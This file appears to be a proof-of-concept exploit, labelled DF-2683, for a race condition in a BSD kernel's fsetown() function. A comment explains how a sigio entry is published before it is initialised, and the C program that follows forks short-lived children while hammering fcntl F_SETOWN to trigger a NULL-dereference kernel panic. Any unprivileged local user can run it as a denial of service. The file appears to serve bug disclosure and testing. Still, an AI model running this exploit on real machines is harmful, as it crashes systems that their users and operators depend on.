DF-2683 / fsetown_race.c
/* * DF-2683 PoC: fsetown() publishes an uninitialized sigio into the * owner list -- teardown race -> funsetown(NULL) NULL-deref panic. * * fsetown() (sys/kern/kern_descrip.c:1296-1380) does: * * 1350/1356: lwkt_gettoken(&proc->p_token / &pgrp->pg_token) * 1351/1357: SLIST_INSERT_HEAD(&...->p_sigiolst / pg_sigiolst, sigio) * 1353/1359: lwkt_reltoken(...) <-- lock released * 1362-1366: sigio->sio_pgid/sio_ucred/sio_ruid/sio_myref set HERE, * with no lock held <-- init AFTER publish * * A concurrent teardown walker: * exit1() -> funsetownlst(&p->p_sigiolst) (kern_exit.c:376) * pgdelete()-> funsetownlst(&pgrp->pg_sigiolst)(kern_proc.c:680) * does: while ((sigio = SLIST_FIRST(list)) != NULL) * funsetown(sigio->sio_myref); * If it observes the just-inserted sigio whose sio_myref is still * NULL (M_ZERO allocation), funsetown(NULL) dereferences address 0: * * if ((sigio = *sigiop) != NULL) <-- sigiop == NULL -> page fault * * => unprivileged local kernel panic (DoS). * * Harness (all unprivileged): * parent A: socketpair + hammer fcntl(sv0, F_SETOWN, child_pid) * while child B (forked, same session) exits. * B's exit1 -> funsetownlst walks its p_sigiolst exactly when A's * fsetown is inside the insert->init window. * Repeat over many fork rounds. */ #include <sys/fcntl.h> #include <sys/socket.h> #include <errno.h> #include <err.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main(int argc, char **argv) { int sv[2]; pid_t pid; int rounds = 20000; int r; unsigned long sets = 0; if (argc > 1) rounds = atoi(argv[1]); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) err(1, "socketpair"); signal(SIGCHLD, SIG_IGN); printf("DF-2683: uid=%d racing fsetown() publication against " "exit-teardown for %d rounds...\n", getuid(), rounds); fflush(stdout); for (r = 0; r < rounds; r++) { pid = fork(); if (pid < 0) err(1, "fork"); if (pid == 0) { /* child B: exit immediately; exit1() will walk * p_sigiolst with no lock against A's fsetown */ _exit(0); } /* parent A: hammer F_SETOWN targeting B until it is gone */ while (fcntl(sv[0], F_SETOWN, pid) == 0) sets++; if ((r % 500) == 0) { printf("round %d (%lu sets)\n", r, sets); fflush(stdout); } } printf("survived: %d rounds, %lu F_SETOWN calls, no panic\n", rounds, sets); return (2); } |